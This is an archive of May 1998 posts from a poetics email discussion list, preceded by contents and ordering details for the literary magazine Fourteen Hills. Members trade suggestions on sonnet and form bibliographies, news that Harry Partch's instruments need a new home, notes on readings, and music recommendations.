Contributors: Kim Addonizio, Mark Amerika, Lucia Berlin, Curtis W. Bonney, Brian Bouldrey, Nicole Brodsky, Julia Chapin, Karin Cotterman, Beverly Dahlen, Lydia Davis, Los Delicados, Cornelius Eady, Barbara Guest, Fanny Howe, Barbara Jourdonnais, Sparrow 13 LaughingWand, Sarah Lenoue, Jean Lieske, Suzanne Lummis, Sarah Mangold, Joan Retallack, Elizabeth Robinson, Bruce Holland Rogers, Camille Roy, Kathy Lou Schultz, John Kosmas Skinas, Edward

Smallfield, Sandra Abena Songbird-Naylor, Nicole Stefanko, Hugh Steinberg, Lynne Tillman and Tsering Wangmo.

Also: A conversation with Denise Levertov transcribed from a video from The Poetry Center and American Poetry Archives.

The issue is $7. You can order through Small Press Distribution: 1 800 [redacted] or send a check to:
Fourteen Hills
Creative Writing Department
San Francisco State University
1600 Holloway Ave
San Francisco CA 94132

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465. **Mark Weiss**

Re: Harry Partch Instrumentarium (fwd)

Tue 19 May 1998

Harry Partch was one of the great American originals. His music is weirdly sonorous, his use of language (he wrote or adapted the texts to his vocal music) original. There are, I think, several cds of his work. I recently saw one listed somewhere. Check out his piece "Barstow," the text for which is a set of huitch-hikers' grafitti collected by Partch at a popular pickup spot outside of the eponymous city in his hobo days. They don't mention that his instruments are finely crafted and of great sculptural beauty. I hope they find a home. They should be in the Library of Congress or Smithsonian instrument collections, where they could be available, like the strads at L of C, for performance. Partch disciples (I use the word advisedly) can be found in almost all the odd corners of America, building their own instruments and creating music, although their numbers are not large.

At 08:40 PM 5/19/98 -0400, you wrote:
>Speaking of Sonic Youth, the following from their Echo Canyon mailing list.
>I make no claims for whether or not this is legit, but assume so as it would
>be an odd sort of hoax. Anyone know more about Harry Patch or the situation
>below? Maybe someone can help out. (I assume the Keady address would be the
>one to write to.) Matt
>
>>Date: Sat, 16 May 1998 22:06:17 -0400
>>From: Jim Keady <[redacted]>
>>To: [redacted]
>>Subject: Harry Partch Instrumentarium

>>
>> Hiya, I'm not subscribed to yr list, but I would like to bring
>> attention to something that may be relevant to some people who are on
>> it. Harry Partch:composer (1901-1974) Onetime hobo, lifetime
>> musician, noted for, among other things, building his own instruments
>> based on microtonal theory and writing for them. Most of his work is
>> playable only on these wunuvakind instruments, which may contribute to
>> why you maybe haven't heard of him. Anyway, his original instruments
>> are currently housed at a state college in Purchase, NY, but are on
>> the verge of being evicted. They need a new home IMMEDIATELY. If
>> anyone within the sound of my keypad has any leads, please contact me
>> & I'll pass the word on. Thanks&thanksagain,
>> -------Joe
>
>

↑ Index

466. **ScoutEW**
more poems by Jeff Clark
Tue 19 May 1998

---

yes i liked those but this one, yes this one is the one-

1985-87

All notions occur to me beginning, "If I were..."

Swaying outside make-out closets.

There is no grid in the desert.

Joy from a robe pocket.

plus many more.....

↑ Index

467. **ScoutEW**
Re: formalists, oralists
Tue 19 May 1998

In a message dated 5/19/98 2:59:19 PM, you wrote:

<<Also, any good articles on rap? Anyone taught rap in their poetry courses? Any ideas on how to get students to write critically about rap?
>>
Sound great

You must include lyrics from the Wu-Tang Clan- they are great poems. If you want to deal with the words of Rap artists you must deal with the beats in the background also, so play it Any Wu-Tang will do.

Other choices-Public Enemy "It takes a nation of millions to hold us back." Tricky "Pre-Millenium Tension" A Tribe Called Quest -is probably your best safest bet...Beats Rhymes and Life is their last one- Many of the lyrics can be looked at in political, social ways not to mention as meatphor etc..Wu-Tang rhymes about everything from Socrates, Egyptian Mathematics, to street names in Brooklyn etc

sounds great, Public Enemy is in the Norton Anthology of African American Literature as well as others I believe, this is a great idea, you are making a great effort to include all styles of poetry, wonderful--

↑ Index

468. **joel lewis**
in my neighborhood
Wed 20 May 1998

1:44 AM ET 05/18/98

Pilgrims seek Virgin Mary in N.J. supermarket

JERSEY CITY, N.J. (Reuters) - Word that an image of the Virgin Mary had appeared on a supermarket freezer door lured pilgrims to a small store in New Jersey Monday.

The image, said to be a silhouette of a woman in a hooded garment, first appeared Thursday and lasted through the weekend, witnesses said.

They said the vision had appeared inside the thick, double-paned glass door of a freezer containing sausages, burritos and plantains at La Conga Supermarket in Jersey City, a largely Hispanic and heavily Catholic working-class city a few miles west of New York.

Although the image had faded away by Monday, people kept arriving at the store.

Hundreds of visitors left candles, handwritten messages and flowers, said Jarmina Cortes, owner of a flower shop next door to the supermarket, who sent her six children to leave a bouquet of a dozen white roses at the freezer.

``The people are still coming. Many are sick or tortured,'' she said. ``They are looking for help.''

Asked about the image, a spokesman for the Roman Catholic Archdiocese in Newark, New Jersey, said: ``It is not impossible

that some condensation got inside those two thermal panes and caused the image.

``I am led to believe that it is certainly not an apparition,'' the spokesman, Michael Hurley, said. ``But could I swear that it wasn't? No.''

^REUTERS@

↑ Index

469. **Henry Gould**
Re: formalists, oralists
Wed 20 May 1998

On the need for form: famous comments by Frost - "like playing tennis with the net down" etc. Also check the 2 collections of Brodsky essays - he's big (& conservative) on this issue.

Interesting sidelight: new book by Paul Friedrich, _Music in Russian Poetry_. Fine idiosyncratic non-jargon intro to the musical basis of Russian formalisms. Connects formalism to performance in an overall atmosphere of musical awareness. America is a suburb of Russia. This is hard to comprehend: it's like asking the Romans at the height of their glory to admit they're a province of Greece. We won the cold war, didn't we?

Juliana & others will suspect I'm wandering from the query. I suggest that American poetry will never understand itself from the inside - you need that Archimedean lever. In other words, our ideas of "form" or "breaking form" are so completely rudimentary-abstract-academic as to be virtually meaningless in practice, and this is why an oratorical rant is the dominant popular form in this country, split from an insipid academic formalism (either free verse or metrical - comes to the same thing). The Russians can help us hear ourselves - a Baroque relevance & poetic tradition extending 500 years before they even got started (Chaucer vs. Pushkin).

- Henry Gould

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470. **Tom Orange**
formalists, oralists
Wed 20 May 1998

On Tue, 19 May 1998, Gale Nelson <[redacted]> writes,

> *His article, "Mathews' Algorithm (Oulipo: A Primer of Potential Literature; Univ. of Nebraska Press, ed. by WF Motte), or Motte's own article, Permutational Mathews (Review of Contemporary Fiction: H M*

> *Number, Fall 1987) would give the student a sense of how formal operations can open up unexpected channels of text.*

interesting that you should mention this book gale, as it reminds me of another great piece contained therein, by queneau on, among other things, mallarme sonnets -- title and page reference escape me, as does the precise wording of the the analogy queneau makes: something along the lines that mallarme sonnets are to that form what the genetic material of the fruit fly is to genetics, an endless source of raw experimental material. queneau goes on to "haiku-ize" the mallarme sonnet "in 'x'" ("ses purs ongles..."), gutting everything except the rhyming words.

might be a challenge to yr students, juliana, but what the hell, challenge away...

t.

↑ Index

471. **Herb Levy**
Re: scene reports, please
Wed 20 May 1998

> *i'm a culpa, i like that, can i use it?*

No prob, Maria, if you want to seem as illiterate as me.

The phrase is, of course, an awkward multi-language mistranslation of a Mickey Spillane book title.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

472. **Herb Levy**
Re: Martin Bartlett (per Herb Levy's scene update)
Wed 20 May 1998

Thanks for the thoughts on the Martin Bartlett project, David. These are entirely different anecdotes than the ones you told when you were in Seattle last. Perhaps I should have had you do liner notes.

Thanks too for the comments on the Subtext series. We do include the fact that it's in the back room in all of our local PR. I didn't mention it here, cause I figured any out of towners from the list who come by will be taking a cab &, of

course, ALL of the cabbies in town know where the Subtext readings are (and which day of the month they're on).

I am sorry to hear there were folks who missed you & Robin read last fall. With luck people will end up in the right place when Blaser reads at Bumbershoot this coming Labor Day weekend.

Bests,

Herb

> *Really glad to see Martin's name mentioned as a composer whose work is receiving attention. My gladness is both esthetic and personal. He and I went way back, and in fact performed in a play by Earle Birney together at U Wash in Seattle in 1960 or earlier. I was with him when he broke into a Vancouver church to play the organ, drunk as a lord. He had one of those larger-than-life characters (whoever he was _really_ , como se dice [listen to the music!]), that made Univ Brit Col a lucky place to be 40 years ago . . .another, being Listgoader Bowering. Last time I heard Martin live was at Langton St in SF in the mid-80s I think. Now sadly no longer with us, but for the music,--and plaudits to who's made that possible.*
>
> *Good also, to be reminded by Herb of the Subtext Series--great venue, attentive audience. (Remember to let people know it's happening in the back, though--there were those who came to hear Robin Blaser but went away empty-handed, thinking the front of the space was where it was supposed to be happening, and that it had been canceled last-minute). The upcoming programs look to be tiptop. Wish I could take Anselm's workshop.*
>
> *Otherwise, and back home, our series at the Cinnabar Theater in Petaluma is over until September, and Sonoma State is ending its academic year next week, so nothing to report on the reading scene.*
>
> *Even more back home, my latest listening has been the RCA Jazz Tribune double CD of Bix Beiderbecke, backed by and backing variously Bing and the Rhythm Boys, Joe Venuti, Frankie Trumbauer, the Dorseys, Lennie Hayton, Benny Goodman, Gene Krupa, Jean Goldkette, Irene Taylor, Jack Teagarden, Eddie Lang, the Kewller Sisters and many more. Beiderbecke's solo on "From Monday On" reminds me of a sentence from _Under the Volcano_ : "it was a day like a good Joe Venuti record," -- penned by Malcolm Lowry, a fellow moldy fig. And let me recommend Jonny Lang's _Lie to Me_ CD,a dozen retro rock blues numbers played & sung by a masterly young guitarist.*
>
> *db3*

Herb Levy

[redacted]

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473. Tom Orange
Some poems by Jeff Clark
Wed 20 May 1998

katy, that you should post these poems on the very day that i finish reading clark's /the little door slides back/ is quite timely for me as i'm trying to sort out a response to them.

i suppose my reading -- others' too? -- is overdetermined by the references dipalma makes on the back cover, "the visionary writings of such poets as trakl, desnos, and michaux." tho for me less trakl and more of the french, rimbaud and lautreamont (particularly in the shifts in voice/perspective, the strikingly predatory erotics) for example.

i'm struck by the form of these works, both the variety (tercets, prose-poems, the more open "blow-notes") and the degree of control exercised/exorcised on/over these forms.

the vocabulary, too, is quite something: neologisms, foreign even otherworldly locales and isms and exotica.

any other takes that would corroborate or contest?

thanks,
t.

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474. Tom Orange
John Hawkes
Wed 20 May 1998

"You and Chantal and I are simply travelling in purity and extremity down that road the rest of the world attempts to hide from us by heaping up whole forests of the most confusing road signs, detours, barricades."

"...nothing is more important than the existence of what does not exist ....after all, my theory tells us that ours is the power to invent the very world we are quitting."

"Announced by violent sound and yet invisible, except for the glass scattered like perfect clear grains across an entire field--what splendour, what a perfect overturning of ordinary expectation. The unseen vision is not to be improved upon."

Travesty (New Directions 1976), p. 14, 57, 58.
~~~~~~~~

↑ Index
~~~~~~~~

475. **Dougolly**
Re: formalists, orators
Wed 20 May 1998

I understand Juliana is looking, partly, for a strict formalist description of the sonnet. One simple, clear description is John Fuller's booklet, The Sonnet, in the old Methuen Critical Series, which, apart from a glance at Jacques Roubaud's mathematical Oulipoist rule ordering system, is about as trad as you can get. Fuller is the formalist son of the equally formalist Roy Fuller.

Doug Oliver

↑ Index

476. **morpheal**
Re: The Answer
Wed 20 May 1998

> *THE ANSWER*
>
> *by Geoffrey Young*
>
> *The answer is*
> *there is no answer*
> *and though this might appear*
>
> *to be an answer*
> *for some, it*
> *isn't for me.*
>
> *It's not even*
> *a poem. It's life*
> *after the fact.*

I really do not know what to say to that.

The word "life" seems somewhat out of place in the last stanza.

M.

↑ Index

477. **George Bowering**
Re: scene reports, please
Wed 20 May 1998

> *And by way of a random poll: what music do people currently have in rotation?*

Dinah Washington on the boom box in bedroom.

Anthology of live-recorded hip hop in car cassette player.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

478. George Bowering
Re: POETICS Digest - 16 May 1998 to 17 May 1998
Wed 20 May 1998

> *And here in Edmonton on Saturday night, Jay Clayton & Sheila Jordan together, each took a set, then they did two duos, finishing off with an amazing duo improv on Dizzy Gillespie's 'Birks Works,' To which the only possible response was whistles & cheers & a standing ovation...*

Ah. here in Vancouver I got to do a gig at the Vogue with Diane Krall (is that how you spell it?) and other musicians. She is a serious sweetheart.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

479. George Bowering
Re: John Hawkes
Wed 20 May 1998

That just about tears it. The worst one yet. I could not get to sleep last night. I have been telling anyone who gets near that Hawkes is my favourite US novelist since about 1962. That's when I read Charivari and didnt know what the hell was going on but knew that it was the real goods.

Just gave a course this spring on H.D., Ed Dorn and John Hawkes. It worked, too.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

480. **Robert Archambeau**
Re: formalists, oralists
Wed 20 May 1998

The Paul Oppenheimer book David Kellogg mentions begins with one of the best opening lines of any recent academic book -- "Modern thought and literature begin with the invention of the sonnet". No ambiguity there. The thesis is interesting, and the book itself is an odd and useful entity -- a 45 page essay followed by an anthology of sonnets in four languages with English translations. The Fussell chapter David mentions is also good, tightly argued stuff.

John Fuller's booklet _The Sonnet_, part of the Metheun critical idiom series, would be good for students to check out, and has a useful bibliography.

For a non-dogmatic, or at any rate ecumenical, defense of form, you might want to look at Louise Bogan's essay "The Pleasures of Formal Poetry". I'm not sure where this was published originally -- my copy is in _The Poet's Work_, edited by Reginald Gibbons (Chicago 1989).

Here's a narrow and dogmatic statement about form as a neccessity, which should spark some classroom debate:

"The...function of the poet is a sharpening and training of his sensibilities; the very exigencies of the medium as he employs it in the act of perception should force him to the discovery of values which he never would have found without the convening of all the conditions of that particular act, conditions one or more of which will be the necessity of solving some particular difficulty such as the location of a rhyme or the perfection of a cadence without disturbance to the remainder of the poem. The poet who suffers from such difficulties instead of profiting by them is only in rather a rough sense a poet at all."

This is from the first page of _Primitivism and Decadence: A Study of American Experimental Poetry_ (Arrow 1937).

--
Robert Archambeau
Department of English
Lake Forest College

Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

↑ Index

481. **Susan Wheeler**
Re: formalists, oralists
Wed 20 May 1998

At 10:00 AM 5/19/98 -1000, you wrote:
>Help me! I'm looking to create a bibliography of secondary material to
>give my students in my "understanding poetry" course (which has a lot of
>nonmajors although it is a 300 level course) next semester.
>
>I usually do this section on form where we look at the sonnet--a few of
>Petrarch, all of Shakespeare's, some of Brooks, Thomas, Mayer, McKay,
>Berrigan, etc. I have them compare the Princeton Encyclopedia definition
>of the sonnet to Mayer's in the T&W Handbook on Form and talk about what
>a sonnet means. A lot of them end up writing their papers around this
>issue (especially on Mayer's work which troubles and delights them). I
>need more citations and places for them to look to get more of the
>discussion around form.
>
>Can anyone think of any good articles that say to write a sonnet, or
>whatever, one has to follow the rules? I need some articles that defend
>form as settled and absolute. I've been sending them to the Annie Finch
>book. Anything else good out there? Any good articles that defend form
>as rigorous ways of thinking, etc?

There are some interesting pieces in a collection of essays edited by Harvey Gross, The Structure of Verse, that might assist, Juliana: Eliot's "Reflections on Vers Libre", Kunitz's "Action and Incantation", and John Hollander's "The Metrical Frame". But I've also found useful with beginning students a piece by Marilyn Hacker that cropped up in the Academy of American Poets' Poetry Pilot in 1995, "A Few Cranky Paragraphs on Form and Content" (may be collected somewhere by now?), Countermeasures' reprinting of remarks by Annie Finch and Dana Gioia (stuff on rap, too, by Gioia!) at a 1996 conference on "Poetry and Form"; Molly Peacock's more personal "What the Mockingbird Said" in the essay collection Conversant Essays. I haven't looked at the introduction to Rober Richman's anthology The Direction of

Poetry (new formalism, natch) for awhile, but my memory is that it is pretty hortatory. Also check out Peter Viereck's "Strict Wildness: The Biology of Poetry" which Poets & Writers printed in their magazine in 1988, but which is probably collected somewhere by now.
>
>Would also like to collect citations on the opposite if any come to
>mind.
>
>Also, I do a section on oral poetries. I'm looking for writing that
>explains the relevance of chants to poetry studies. Anything that would
>help my students begin to understand the chant as an art form
>(interestingly here in Hawai'i, they tend to get chants in h.s. but they
>seem to read them as history--so whenever I've given them a chant to
>look at they can do a historical reading and say things like well it is
>about King Kamehameha III and etc. etc. but can't see it as something
>that is poetry).
>
>Also, any good articles on rap? Anyone taught rap in their poetry
>courses? Any ideas on how to get students to write critically about rap?
>
Tricia Rose's book (Black Noise? - I think that's the title) is terrific.
Thinking about your question (not having tried this systematically myself), I'd go from Louise Bennett to Linton Kwesi Johnson for context, and then encourage their writing on only one aspect of it that tends toward the mechanical: scansion/prosody; modulating tone; how the rhymes work and what kinds of rhymes, etc. -- giving them just enough tools to do it. This usually works for me when a poetry is so loaded content and context wise that students have a hard time seeing it as a construction. And I'd add Spearhead to the playlist.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

482. Robert Archambeau
Re: London events? bookstores?
Wed 20 May 1998

A real Londoner could give you better info, I'm sure, but my suggestion is to check out a place called Skoob on (I think) Southampton Row, which sells used books, and another place called Soma, which sells Caribbean/Indian/African

books of all kinds, and has all kinds of things that are impossible to find where I live in Chicago.

Why not cross-post your query to the British and Irish poets list? Those guys know what's happening in any given week.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

↑ Index

483. **Susan Wheeler**
Re: Harry Partch Instrumentarium (fwd)
Wed 20 May 1998

Harry Partch was a very influential figure in contemporary music, and there are several pockets of followers about that I hope will come to the rescue. I played at one time two of his instruments -- a long piece of plumbing pipe outfitted with a mouthpiece (with conductor composer Henry Brandt yelling "Be the primordial ooze!" at our pipe section), and a huge, climb-into, wooden xylophone which resonated at a lower-than-audible pitch.

At 08:40 PM 5/19/98 -0400, you wrote:
>Speaking of Sonic Youth, the following from their Echo Canyon mailing list.
>I make no claims for whether or not this is legit, but assume so as it would
>be an odd sort of hoax. Anyone know more about Harry Patch or the situation
>below? Maybe someone can help out. (I assume the Keady address would be the
>one to write to.) Matt
>
>>Date: Sat, 16 May 1998 22:06:17 -0400
>>From: Jim Keady <[redacted]>
>>To: [redacted]
>>Subject: Harry Partch Instrumentarium
>>
>> Hiya, I'm not subscribed to yr list, but I would like to bring
>> attention to something that may be relevant to some people who are on
>> it. Harry Partch:composer (1901-1974) Onetime hobo, lifetime

>> musician, noted for, among other things, building his own instruments
>> based on microtonal theory and writing for them. Most of his work is
>> playable only on these wunuvakind instruments, which may contribute to
>> why you maybe haven't heard of him. Anyway, his original instruments
>> are currently housed at a state college in Purchase, NY, but are on
>> the verge of being evicted. They need a new home IMMEDIATELY. If
>> anyone within the sound of my keypad has any leads, please contact me
>> & I'll pass the word on. Thanks&thanksagain,
>> -------Joe
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

484. Joe Amato/Kass Fleisher
nature/poetry...
Wed 20 May 1998

---

charles a., late in responding here... but been reading over (and over) the latest of mary hilton's 'primitive publications,' _saunter_, by joshua mckinney...

certainly in the domain of poetry that takes on the natural... i've enjoyed it, am still not through puzzling over it... highly recommended...

what i wouldn't give for a hike around the top of mount lemmon, you lucky dog you...

best,

joe

↑ Index

485. Tenney Nathanson
Re: nature/poetry...; also POG report
Wed 20 May 1998

Joe--

guess I dropped a stitch (or thread) here but could you fill me in again if/when you have time on what this is? backchannel ok if list already duly apprised.

best,

Tenney

(meanwhile we just took family to Saguaro Monument East a couple of weekends ago--down here at desert level--and the wildflowers were absolutely incredible, supposedly the best season for them in somethinglike 20 years.)

(and while we're on Tucson matters: POG just gave a fundraising dinner--consummate chef is a POETICS listmember!--and raised about $1,000, which pretty much balances our budget for this year. Grant applications in for next year; we'll hear in July; so we have hopes to be afloat w another series and other activities next year. Many thanks to all POETICS people who came here to read; we'll try to post a list of events over the last year and a half; it's a pretty terrific list.)

> *-----Original Message-----*
> *From: UB Poetics discussion group*
> *[mailto:[redacted]]On Behalf Of Joe Amato/Kass Fleisher*
> *Sent: Wednesday, May 20, 1998 6:43 AM*
> *To: [redacted]*
> *Subject: nature/poetry...*
>
> *charles a., late in responding here... but been reading over (and over) the*
> *latest of mary hilton's 'primitive publications,' _saunter_, by joshua mckinney...*
>
> *certainly in the domain of poetry that takes on the natural... i've enjoyed*
> *it, am still not through puzzling over it... highly recommended...*
>
> *what i wouldn't give for a hike around the top of mount lemmon, you lucky dog you...*
>
> *best,*
>
> *joe*

↑ Index

486. **dee morris**
Re: John Hawkes
Wed 20 May 1998

George, If you'd be willing, I'd love to hear more details about this course. Which H.D. texts did you read, which Dorn, which Hawkes? What worked in the combination? I just finished teaching H.D. in combination with Theresa Hak

Kyung Cha, Kamau Brathwaite, and Nate Mackey---another generative combination.

Dee

> *That just about tears it. The worst one yet. I could not get to sleep last night. I have been telling anyone who gets near that Hawkes is my favourite US novelist since about 1962. That's when I read Charivari and didnt know what the hell was going on but knew that it was the real goods.*
>
> *Just gave a course this spring on H.D., Ed Dorn and John Hawkes. It worked, too.*
>
> *George Bowering.*
>
> *,*
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

↑ Index

487. **Daniel Zimmerman**

Re: formalists, oralists

Wed 20 May 1998

Juliana Spahr wrote:
>
> Help me! I'm looking to create a bibliography of secondary material to
> give my students in my "understanding poetry" course (which has a lot of
> nonmajors although it is a 300 level course) next semester.
>
> I usually do this section on form where we look at the sonnet--a few of
> Petrarch, all of Shakespeare's, some of Brooks, Thomas, Mayer, McKay,
> Berrigan, etc. I have them compare the Princeton Encyclopedia definition
> of the sonnet to Mayer's in the T&W Handbook on Form and talk about what
> a sonnet means. A lot of them end up writing their papers around this
> issue (especially on Mayer's work which troubles and delights them). I
> need more citations and places for them to look to get more of the
> discussion around form.
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> Can anyone think of any good articles that say to write a sonnet, or
> whatever, one has to follow the rules? I need some articles that defend

> form as settled and absolute. I've been sending them to the Annie Finch
> book. Anything else good out there? Any good articles that defend form
> as rigorous ways of thinking, etc?
>
<snip>

Juliana,

I'd recommend two works about as far apart as they get:

John Clarke's _From Feathers to Iron: A Concourse of World Poetics_ . San Francisco: Tombouctou/Convivio, 1987; ISBN 0-939180-42-1 [lectures which use, as illustration, the 50 sonnets from his earlier collection _The End of This Side_]. It also anticipates his monumental, post- humously issues collection of sonnets, _In the Analogy_. Toronto & Buffalo: shuffaloff, 1997, ISBN 1-880631-10-5.

Berman, Sandra L. _The Sonnet Over Time: A Study in the Sonnets of Petrarch, Shakespeare, and Baudelaire_. Chapel Hill & London: UNC/CH, 1988, ISBN 0-8078-7063-3. Interesting, solidly academic, though a bit of a struggle for me, since I read neither Italian nor French.

I will also teach a similar course this fal, so I'll keep my eyes o-pen & let you know if I find anything else.

Best,

Dan Zimmerman

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488. Steve Shoemaker
London events? bookstores?
Wed 20 May 1998

Hello All--I'll be in London for a few days next week (Thursday the 28th thru Sunday the 31st), and then again on the 8th and 9th of June. Anybody know of any good po/art/music stuff going on?

And oh yeah, bookstores too, esp. if there in Bloomsbury, where I'll be staying.

Thanks, Steve

>
Steve Shoemaker
Assistant Professor
English Department
Wake Forest University

Winston-Salem, NC 27109
[redacted]

↑ Index

489. **David Kellogg**
Re: formalists, oralists
Wed 20 May 1998

Juliana,

I missed your original message (deleted it along with hundreds of others awaiting me on return from vacation), but doesn't Fussell have a chapter on the sonnet in his old _Poetic Meter & Poetic Form_? It might say something along these lines. You might also consider Vendler's remarks about Shakespeare's "couplet tie" in the intro to her new edition of his sonnets. (The accompanying CD of Vendler reading is great for insomniacs, too). On a weirder note, do you know Paul Oppenheimer's _The Birth of the Modern Mind: Self, Consciousness, and the Invention of the Sonnet_ (Oxford, 1989)? Next to Julian Jaynes, gives one of the strangest accounts of the emergence of subjectivity I have read, an extreme version of organic form.

Sorry, none of these are probably on point exactly. Another thing, not on the sonnet but perhaps relevant, is Dana Gioia's hostility to what he calls somewhere in _Can Poetry Matter?_ the "pseudo-formal" poem, i.e., nonce sonnets, quatrains, etc. There goes the neighborhood.

Cheers,
David

On Wed, 20 May 1998, Daniel Zimmerman wrote:

> *Juliana Spahr wrote:*
>
> *Help me! I'm looking to create a bibliography of secondary material to give my students in my "understanding poetry" course (which has a lot of nonmajors although it is a 300 level course) next semester.*
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> *whatever, one has to follow the rules? I need some articles that defend form as settled and absolute. I've been sending them to the Annie Finch book. Anything else good out there? Any good articles that defend form as rigorous ways of thinking, etc?*
>
> *<snip>*
>
> *Juliana,*
>
> *I'd recommend two works about as far apart as they get:*
>
> *John Clarke's _From Feathers to Iron: A Concourse of World Poetics_ . San Francisco: Tombouctou/Convivio, 1987; ISBN 0-939180-42-1 [lectures which use, as illustration, the 50 sonnets from his earlier collection _The End of This Side_]. It also anticipates his monumental, post-humously issues collection of sonnets, _In the Analogy_. Toronto & Buffalo: shuffaloff, 1997, ISBN 1-880631-10-5.*
>
> *Berman, Sandra L. _The Sonnet Over Time: A Study in the Sonnets of Petrarch, Shakespeare, and Baudelaire_. Chapel Hill & London: UNC/CH, 1988, ISBN 0-8078-7063-3. Interesting, solidly academic, though a bit of a struggle for me, since I read neither Italian nor French.*
>
> *I will also teach a similar course this fal, so I'll keep my eyes o-pen & let you know if I find anything else.*
>
> *Best,*
>
> *Dan Zimmerman*

Cheers,
David
~~~
~~~

> Thanks too for the comments on the Subtext series. We do include the
> fact
> that it's in the back room in all of our local PR. I didn't mention
> it
> here, cause I figured any out of towners from the list who come by
> will be
> taking a cab &, of course, ALL of the cabbies in town know where the
> Subtext readings are (and which day of the month they're on).
>
So just wanted to mention to those of you who are flying in for Anselm's reading and workshop in the back room that I'm giving a reading tonight at the Seattle Public Library, 4721 Rainier Avenue South, with Cal Kinnear and Becka McKay at 7:00. And it's NOT rainier, this morning at least . . .

Joe

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491. Joe Amato/Kass Fleisher

nature/poetry...

Wed 20 May 1998

---

tenney and others: mary hilton puts out a series of chapbooks under the 'primitive publications' imprint... each chapbook is "historically based"... $20 gets you a subscription of six, one chapbook for $4...

checks payable to "mary hilton," addressed to

primitive publications
1706 U Street, NW, #102
Washington, DC 20009

previous titles by mary herself, mark wallace, kristin prevallet, jefferson hansen, sherry brennan, and the joshua mckinney item i mentioned in my last post (_saunter_, named after a passage in thoreau)... i've enjoyed them all...

best,

joe

↑ Index

492. **Joe Amato/Kass Fleisher**
sustainability...
Wed 20 May 1998

re sustainability: this is somewhat off the track of the discussion here... but there's an excellent piece by bill mckibben in this month's _atlantic monthly_, "a special moment in history," that details how the nature of, well, nature itself is rapidly being transformed by homo sapiens... which requires a somewhat more bracing grasp of what we mean by sustainability... it's not simply how many people the earth can sustain, which itself appears now to be a transition issue, given the expected doubling of human population in the next half-century (this doubling representing, for mckibben, a limit point, regardless how you factor energy conservation per individual)... it's a question of our creating, even now, what amounts to a new earth, what mckibbens calls "earth2"---an earth with "new storms and new oceans and new glaciers and new springtimes"... a new habitat, and one that's not user-friendly...

definitely worth checking out, i think...

best,

joe

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493. **ken|n|ing**
Re: scene reports, please
Wed 20 May 1998

> *And by way of a random poll: what music do people currently have in rotation?*

Cornershop (when i was born for the 7th time)
Stooges (1st record)
Andrew Hill (smokestack)
Cage (winter music)
Rev. Utah Smith (complete recordings)
Stereolab (emperor tomatoe ketchup)

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494. **Carolyn Guertin**
Cool Site of the Day
Wed 20 May 1998

An interesting new journal called BeeHive has posted its inaugural issue on the web. The premier issue includes:

Mapping the Acephale by John Attebury, David J. Beaulieu, George A. Dunn, Talan Memmott and Don Socha

Steven Shaviro's Doom Patrols.8 on Kathy Acker

7 poems from Slam Poet Vadim Litvak (illustrated by Petra Mueller)

Bread.Crumbs, excerpts from a hyperfiction, by Talan Memmott

Visit it at:
http://www.temporalimage.com/beehive/hidex.html

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

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495. Mark Weiss
(no subject)
Wed 20 May 1998

Harry Partch was one of the great American originals. His music is weirdly sonorous, his use of language (he wrote or adapted the texts to his vocal music) original. There are, I think, several cds of his work. I recently saw one listed somewhere. Check out his piece "Barstow," the text for which is a set of huitch-hikers' grafitti collected by Partch at a popular pickup spot outside of the eponymous city in his hobo days. They don't mention that his instruments are finely crafted and of great sculptural beauty. I hope they find a home. They should be in the Library of Congress or Smithsonian instrument collections, where they could be available, like the strads at L of C, for performance. Partch disciples (I use the word advisedly) can be found in almost all the odd corners of America, building their own instruments and creating music, although their numbers are not large.

At 08:40 PM 5/19/98 -0400, you wrote:
>Speaking of Sonic Youth, the following from their Echo Canyon mailing list.
>I make no claims for whether or not this is legit, but assume so as it would
>be an odd sort of hoax. Anyone know more about Harry Patch or the situation
>below? Maybe someone can help out. (I assume the Keady address would be the
>one to write to.) Matt
>
>>Date: Sat, 16 May 1998 22:06:17 -0400
>>From: Jim Keady <[redacted]>
>>To: [redacted]
>>Subject: Harry Partch Instrumentarium

>>
>> Hiya, I'm not subscribed to yr list, but I would like to bring
>> attention to something that may be relevant to some people who are on
>> it. Harry Partch:composer (1901-1974) Onetime hobo, lifetime
>> musician, noted for, among other things, building his own instruments
>> based on microtonal theory and writing for them. Most of his work is
>> playable only on these wunuvakind instruments, which may contribute to
>> why you maybe haven't heard of him. Anyway, his original instruments
>> are currently housed at a state college in Purchase, NY, but are on
>> the verge of being evicted. They need a new home IMMEDIATELY. If
>> anyone within the sound of my keypad has any leads, please contact me
>> & I'll pass the word on. Thanks&thanksagain,
>> -------Joe
>

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496. **Taylor Brady**
Re: scene reports, please
Wed 20 May 1998

In heavy rotation these days (confining myself to recent releases / re-releases) in alphabetical order:

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Sue Garner, to run more smoothly (Run On vocalist goes solo, with most of the band to back her up. More restrained and contemplative than Run On's recent stuff, ballad / folk / country influences)

Gastr del Sol, Camofleur (Apparently their last recording as a band. I still miss the guitar (anti-)heroics of Crookt, Crackt, or Fly, but the command of songwriting here is far greater. Dave Grubbs' voice -- always an acquired taste -- is in better form here than I've ever heard it. Sound-collage ambiances provided by Markus Popp of Oval work surprisingly well -- subtly -- with the compositions here.)

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Christian Marclay, records 1981-1989 (The original art-DJ at his best. Most of this stuff was previously available only as very-limited vinyl releases, so this one is a big deal. Great lo-fi sound collages, in which the instrumentation is not only, as in higher-tech digital DJ outings, the pre-recorded source recordings, but also the sound of neeedles being "carelessly" dropped on them, warped discs beings played at the wrong speed, etc. Marclay is a performer who, at his

best, has thought very clearly about every "inessential" or "accidental" contour of his medium)

